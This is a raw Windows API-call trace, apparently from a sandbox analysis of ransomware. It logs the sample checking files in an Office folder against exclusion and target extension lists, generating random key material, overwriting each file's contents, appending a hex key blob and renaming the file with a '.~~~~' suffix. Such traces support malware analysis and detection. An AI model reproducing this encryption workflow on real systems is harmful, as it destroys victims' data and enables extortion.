	[0142.989] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.989] CloseHandle (hObject=0xc4) returned 1
	[0143.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aada0
	[0143.030] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3b.gif.~~~~")) returned 1
	[0143.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aada0 | out: hHeap=0x300000) returned 1
	[0143.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0143.033] GetLastError () returned 0x0
	[0143.033] RtlWakeConditionVariable () returned 0x0
	[0143.034] GetCurrentThreadId () returned 0x3a4
	[0143.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".scr") returned 0x0
	[0143.034] lstrlenW (lpString=".cmd") returned 4
	[0143.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".cmd") returned 0x0
	[0143.034] lstrlenW (lpString=".dll") returned 4
	[0143.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".dll") returned 0x0
	[0143.034] lstrlenW (lpString=".bat") returned 4
	[0143.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".bat") returned 0x0
	[0143.034] lstrlenW (lpString=".cpl") returned 4
	[0143.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".cpl") returned 0x0
	[0143.034] lstrlenW (lpString=".sys") returned 4
	[0143.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".sys") returned 0x0
	[0143.034] lstrlenW (lpString=".msc") returned 4
	[0143.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".msc") returned 0x0
	[0143.034] lstrlenW (lpString=".com") returned 4
	[0143.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".com") returned 0x0
	[0143.034] lstrlenW (lpString=".lnk") returned 4
	[0143.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".lnk") returned 0x0
	[0143.034] lstrlenW (lpString=".msp") returned 4
	[0143.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".msp") returned 0x0
	[0143.035] lstrlenW (lpString=".pif") returned 4
	[0143.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".pif") returned 0x0
	[0143.035] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0143.037] lstrlenW (lpString=".sqb") returned 4
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".sqb") returned 0x0
	[0143.037] lstrlenW (lpString=".ost") returned 4
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".ost") returned 0x0
	[0143.037] lstrlenW (lpString=".txt") returned 4
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".txt") returned 0x0
	[0143.037] lstrlenW (lpString=".mdt") returned 4
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".mdt") returned 0x0
	[0143.037] lstrlenW (lpString=".BDB") returned 4
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".BDB") returned 0x0
	[0143.037] lstrlenW (lpString=".eql") returned 4
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".eql") returned 0x0
	[0143.037] lstrlenW (lpString=".DBF") returned 4
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".DBF") returned 0x0
	[0143.037] lstrlenW (lpString=".EQL") returned 4
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".EQL") returned 0x0
	[0143.037] lstrlenW (lpString=".FDB") returned 4
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".FDB") returned 0x0
	[0143.037] lstrlenW (lpString=".EDB") returned 4
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".EDB") returned 0x0
	[0143.037] lstrlenW (lpString=".DACPAC") returned 7
	[0143.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.038] lstrlenW (lpString=".VHD") returned 4
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".VHD") returned 0x0
	[0143.038] lstrlenW (lpString=".DBV") returned 4
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".DBV") returned 0x0
	[0143.038] lstrlenW (lpString=".dacpac") returned 7
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.038] lstrlenW (lpString=".sdf") returned 4
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".sdf") returned 0x0
	[0143.038] lstrlenW (lpString=".accdb") returned 6
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".accdb") returned 0x0
	[0143.038] lstrlenW (lpString=".DBX") returned 4
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".DBX") returned 0x0
	[0143.038] lstrlenW (lpString=".MDT") returned 4
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".MDT") returned 0x0
	[0143.038] lstrlenW (lpString=".SQB") returned 4
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".SQB") returned 0x0
	[0143.038] lstrlenW (lpString=".vhd") returned 4
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".vhd") returned 0x0
	[0143.038] lstrlenW (lpString=".bac") returned 4
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".bac") returned 0x0
	[0143.038] lstrlenW (lpString=".mdf") returned 4
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".mdf") returned 0x0
	[0143.038] lstrlenW (lpString=".BAK") returned 4
	[0143.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".BAK") returned 0x0
	[0143.039] lstrlenW (lpString=".BAC") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".BAC") returned 0x0
	[0143.039] lstrlenW (lpString=".dbs") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".dbs") returned 0x0
	[0143.039] lstrlenW (lpString=".vhdx") returned 5
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.039] lstrlenW (lpString=".NDF") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".NDF") returned 0x0
	[0143.039] lstrlenW (lpString=".dat") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".dat") returned 0x0
	[0143.039] lstrlenW (lpString=".DBS") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".DBS") returned 0x0
	[0143.039] lstrlenW (lpString=".CKP") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".CKP") returned 0x0
	[0143.039] lstrlenW (lpString=".edb") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".edb") returned 0x0
	[0143.039] lstrlenW (lpString=".PST") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".PST") returned 0x0
	[0143.039] lstrlenW (lpString=".dbf") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".dbf") returned 0x0
	[0143.039] lstrlenW (lpString=".SQL") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".SQL") returned 0x0
	[0143.039] lstrlenW (lpString=".pst") returned 4
	[0143.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".pst") returned 0x0
	[0143.039] lstrlenW (lpString=".dbv") returned 4
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".dbv") returned 0x0
	[0143.040] lstrlenW (lpString=".SDF") returned 4
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".SDF") returned 0x0
	[0143.040] lstrlenW (lpString=".dtxs") returned 5
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.040] lstrlenW (lpString=".db3") returned 4
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".db3") returned 0x0
	[0143.040] lstrlenW (lpString=".OST") returned 4
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".OST") returned 0x0
	[0143.040] lstrlenW (lpString=".dbx") returned 4
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".dbx") returned 0x0
	[0143.040] lstrlenW (lpString=".DB3") returned 4
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".DB3") returned 0x0
	[0143.040] lstrlenW (lpString=".DAT") returned 4
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".DAT") returned 0x0
	[0143.040] lstrlenW (lpString=".VHDX") returned 5
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.040] lstrlenW (lpString=".ndf") returned 4
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".ndf") returned 0x0
	[0143.040] lstrlenW (lpString=".DB") returned 3
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".DB") returned 0x0
	[0143.040] lstrlenW (lpString=".sql") returned 4
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".sql") returned 0x0
	[0143.040] lstrlenW (lpString=".MYD") returned 4
	[0143.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".MYD") returned 0x0
	[0143.041] lstrlenW (lpString=".DBT") returned 4
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".DBT") returned 0x0
	[0143.041] lstrlenW (lpString=".ACCDB") returned 6
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.041] lstrlenW (lpString=".fdb") returned 4
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".fdb") returned 0x0
	[0143.041] lstrlenW (lpString=".bak") returned 4
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".bak") returned 0x0
	[0143.041] lstrlenW (lpString=".myd") returned 4
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".myd") returned 0x0
	[0143.041] lstrlenW (lpString=".DTXS") returned 5
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.041] lstrlenW (lpString=".ckp") returned 4
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".ckp") returned 0x0
	[0143.041] lstrlenW (lpString=".dbt") returned 4
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".dbt") returned 0x0
	[0143.041] lstrlenW (lpString=".db") returned 3
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".db") returned 0x0
	[0143.041] lstrlenW (lpString=".TXT") returned 4
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".TXT") returned 0x0
	[0143.041] lstrlenW (lpString=".MDF") returned 4
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".MDF") returned 0x0
	[0143.041] lstrlenW (lpString=".bdb") returned 4
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".bdb") returned 0x0
	[0143.041] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0143.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.042] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0143.043] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.043] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0143.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0143.043] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26303350898) returned 1
	[0143.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbea97a50, dwHighDateTime=0x1d60e1e)) 
	[0143.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0143.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0143.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0143.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5620
	[0143.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0143.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5620 | out: hHeap=0x300000) returned 1
	[0143.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0143.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aaa58
	[0143.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aaa58 | out: hHeap=0x300000) returned 1
	[0143.044] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0143.045] GetLastError () returned 0x0
	[0143.045] GetLastError () returned 0x0
	[0143.046] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0143.046] GetLastError () returned 0x0
	[0143.046] GetLastError () returned 0x0
	[0143.046] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x1b06, lpOverlapped=0x0) returned 1
	[0143.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe4fa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.048] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1b06, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x1b06, lpOverlapped=0x0) returned 1
	[0143.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.048] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.048] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.048] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.048] CloseHandle (hObject=0x114) returned 1
	[0143.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aaa58
	[0143.049] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44b.gif.~~~~")) returned 1
	[0143.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aaa58 | out: hHeap=0x300000) returned 1
	[0143.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0143.051] GetLastError () returned 0x0
	[0143.052] RtlWakeConditionVariable () returned 0x0
	[0143.052] GetCurrentThreadId () returned 0x3a4
	[0143.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".scr") returned 0x0
	[0143.052] lstrlenW (lpString=".cmd") returned 4
	[0143.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".cmd") returned 0x0
	[0143.052] lstrlenW (lpString=".dll") returned 4
	[0143.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".dll") returned 0x0
	[0143.052] lstrlenW (lpString=".bat") returned 4
	[0143.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".bat") returned 0x0
	[0143.052] lstrlenW (lpString=".cpl") returned 4
	[0143.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".cpl") returned 0x0
	[0143.052] lstrlenW (lpString=".sys") returned 4
	[0143.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".sys") returned 0x0
	[0143.052] lstrlenW (lpString=".msc") returned 4
	[0143.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".msc") returned 0x0
	[0143.052] lstrlenW (lpString=".com") returned 4
	[0143.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".com") returned 0x0
	[0143.052] lstrlenW (lpString=".lnk") returned 4
	[0143.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".lnk") returned 0x0
	[0143.052] lstrlenW (lpString=".msp") returned 4
	[0143.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".msp") returned 0x0
	[0143.053] lstrlenW (lpString=".pif") returned 4
	[0143.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".pif") returned 0x0
	[0143.053] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch="msp\r\n.pif") returned 0x0
